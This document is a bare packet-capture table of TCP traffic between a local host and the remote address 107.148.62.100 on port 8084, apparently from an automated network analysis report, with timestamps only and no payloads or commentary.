Dec 18, 2024 13:36:14.097151041 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.097342968 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.097450018 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.097760916 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.099090099 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.099153996 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.099272013 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.099709988 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.100497007 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.101845026 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.102114916 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.102158070 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.102691889 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.113235950 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.113365889 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.113425016 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.113816023 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.114017010 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.114197016 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.114526987 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.114569902 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.115480900 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.115808010 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.115849018 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.116193056 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.143456936 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.172733068 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.172925949 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.172959089 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.173418045 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.173461914 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.247828007 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.248018980 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.248241901 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.248471022 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.250286102 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.250325918 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.250585079 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.250924110 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.250962973 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.253334045 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.253582001 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.253623009 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.254060030 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.255664110 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.255707979 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.255877018 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.256346941 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.256388903 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.257775068 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.258016109 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.258058071 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.258415937 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.260943890 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.260996103 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.261169910 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.261651993 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.261687040 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.263473988 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.263705969 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.263766050 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.264096022 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.266150951 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.266195059 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.266416073 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.266829967 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.266870022 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.268115997 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.268451929 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.268488884 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.268712044 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.269701958 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.269743919 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.269885063 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.270375967 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.270410061 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.272156000 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.272403002 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.272444963 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.272913933 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.274986982 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.275032997 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.275243044 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.275947094 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.275989056 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.277287960 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.277808905 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.277849913 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.278073072 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.279825926 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.279881954 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.280044079 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.280503035 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.280544996 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.282562971 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.282599926 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.282924891 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.283023119 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.284671068 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.284715891 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.284982920 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.285384893 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.285466909 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.287467957 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.287810087 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.287888050 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.288109064 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.289777994 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.289824963 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.290132999 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.290483952 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.290520906 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.291733027 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.291968107 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.292026997 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.292346954 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.294173002 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.294218063 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.294450998 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.294879913 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.294922113 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.296708107 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.296753883 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.296838045 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.297349930 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.299221039 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.299263954 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.299436092 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.299948931 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.299992085 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.302102089 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.302381039 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.302426100 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.302678108 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.304852009 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.304892063 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.304932117 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.305448055 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.305504084 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.306871891 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.307090998 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.307128906 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.307523012 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.309551954 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.309607029 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.309748888 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.310012102 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.310045958 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.311893940 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.312215090 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.312269926 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.312566996 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.314202070 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.314244032 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.314424992 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.314903975 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.314943075 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.317012072 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.317248106 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.317289114 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.317660093 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.319372892 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.319437027 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.319670916 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.320142984 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.320180893 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.322261095 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.322483063 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.322518110 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.322949886 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.330085993 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.330131054 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.330327988 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.330784082 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.330820084 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.331582069 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.332015038 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.332058907 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.333236933 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.333539963 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.333579063 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.334050894 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.381908894 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.381975889 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.382102013 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.382540941 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.382580042 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.464998007 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.465383053 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.465439081 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.466582060 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.467150927 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.467195034 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.467375994 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.467875957 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.467941999 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.470354080 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.470653057 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.470707893 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.471045971 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.473037004 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.473087072 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.473476887 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.473975897 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.474045038 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.474783897 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.475058079 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.475208998 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.476774931 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.477643967 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.477679968 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.478010893 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.478390932 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.478430033 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.480326891 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.480562925 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.480784893 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.481017113 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.481496096 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.481539965 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.481664896 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.483187914 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.483266115 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.483366966 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.483824015 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.483882904 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.485340118 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.485502005 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.485640049 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.485678911 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.485979080 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.486013889 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.487859964 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.488105059 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.488152027 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.488529921 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.490366936 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.490436077 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.490636110 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.491084099 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.491128922 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.493155003 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.493385077 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.493460894 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.493477106 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.495197058 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.495254993 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.495582104 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.495872021 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.496048927 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.497678041 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.497957945 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.498220921 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.498462915 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.500169039 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.500214100 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.500349045 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.500760078 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.500797987 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.502434015 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.502963066 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.503006935 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.503129959 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.505167007 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.505222082 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.505363941 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.505829096 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.505866051 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.507606983 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.507827044 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.507922888 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.508447886 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.510107994 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.510155916 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.510293007 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.510750055 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.510799885 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.512478113 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.512727022 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.512765884 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.513207912 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.515285969 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.515328884 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.515464067 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.515753031 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.515799046 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.517345905 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.517571926 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.517668009 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.518057108 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.520157099 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.520221949 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.520493984 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.520832062 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.520881891 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.523272038 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.523386002 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.523468018 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.524019957 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.525684118 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.525757074 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.525935888 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.526325941 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.526376009 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.527997971 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.528249025 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.528454065 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.528716087 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.530437946 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.530637980 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.530692101 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.531121969 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.533242941 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.533308983 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.533756971 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.533797979 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.534100056 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.535677910 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.535736084 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.535846949 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.536356926 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.536396980 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.537959099 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.538126945 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.538173914 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.538768053 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.541897058 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.542120934 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.542299986 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.542871952 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.542915106 CET	49844	8084	192.168.2.6	107.148.62.100
Dec 18, 2024 13:36:14.545294046 CET	8084	49844	107.148.62.100	192.168.2.6
Dec 18, 2024 13:36:14.545697927 CET	8084	49844	107.148.62.100	192.168.2.6
